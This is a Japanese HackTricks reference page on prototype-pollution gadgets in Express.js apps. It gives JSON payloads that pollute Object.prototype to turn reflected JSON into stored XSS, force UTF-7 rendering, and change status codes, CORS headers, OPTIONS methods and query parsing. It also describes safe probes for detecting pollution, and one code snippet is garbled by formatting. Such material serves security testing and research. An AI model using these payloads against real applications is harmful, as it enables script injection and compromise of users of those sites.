Expressプロトタイプ汚染ガジェット

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

XSSレスポンスを提供する

詳細については 元の研究を参照してください

JSONコンテンツタイプをHTMLに変更する

ExpressアプリでJSONコンテンツタイプのレスポンスを使用し、JSONを反映させる:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

これらのケースでは、JSONコンテンツタイプでは通常XSSは不可能です。しかし、プロトタイプ汚染を利用することで、Expressを混乱させてHTMLレスポンスを提供させることができます。 この脆弱性は、アプリケーションが**res.send(obj)**を使用し、application/jsonコンテンツタイプでボディパーサーを使用することに依存しています。

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

body_body プロパティを 汚染 することで、ExpressがHTMLコンテンツタイプを提供し、 _body プロパティを反映させることが可能になり、保存されたXSSが発生します。

UTF7をレンダリング

Expressが UTF-7コンテンツをレンダリングする ことが可能です:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

安全なスキャン技術

JSONスペース

次のPPは、JSON内の属性に追加のスペースを持たせ、機能を壊さないようにします:

json
{ "__proto__": { "json spaces": " " } }

その後、反射されたJSONは次のようになります:

json
{"foo":  "bar"} -- Note the extra space

Exposed Headers

次のPPガジェットは、サーバーがHTTPヘッダーを返すようにします: Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

CORSモジュールをインストールする必要があります

OPTIONSメソッド

次のペイロードを使用すると、OPTIONSレスポンスからメソッドを隠すことが可能です:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

ステータス

次のPPペイロードを使用して返されるステータスコードを変更することが可能です:

json
{ "__proto__": { "status": 510 } }

エラー

プリミティブ(例えば文字列)を使ってプロトタイプに割り当てると、プロトタイプはオブジェクトでなければならないため、何も行わない操作が生成されますObject.prototype自体にプロトタイプオブジェクトを割り当てようとすると、例外がスローされます。これらの2つの動作を使用して、プロトタイプ汚染が成功したかどうかを検出できます

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

反射値

アプリケーションがレスポンスにオブジェクトを含めるとき、__proto__と一緒に異常な名前の属性を作成することは洞察を与える可能性があります。特に、異常な属性のみがレスポンスに返される場合、これはアプリケーションの脆弱性を示している可能性があります:

json
{ "unusualName": "value", "__proto__": "test" }

さらに、Lodashのようなライブラリが使用されるシナリオでは、プロトタイプ汚染(PP)を介しておよびオブジェクト内で直接プロパティを設定することが、別の診断アプローチを提供します。そのようなプロパティがレスポンスから省略されている場合、Lodashがマージする前にターゲットオブジェクト内のプロパティの存在を確認していることを示唆しています。

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

雑多

ドットを許可する

Expressには、クエリ文字列パラメータからオブジェクトを作成するオプションがあります。
これは、プロトタイプ汚染の脆弱性を悪用するバグチェーンで確実に使用できます。

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz はNodeでオブジェクトを作成します。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする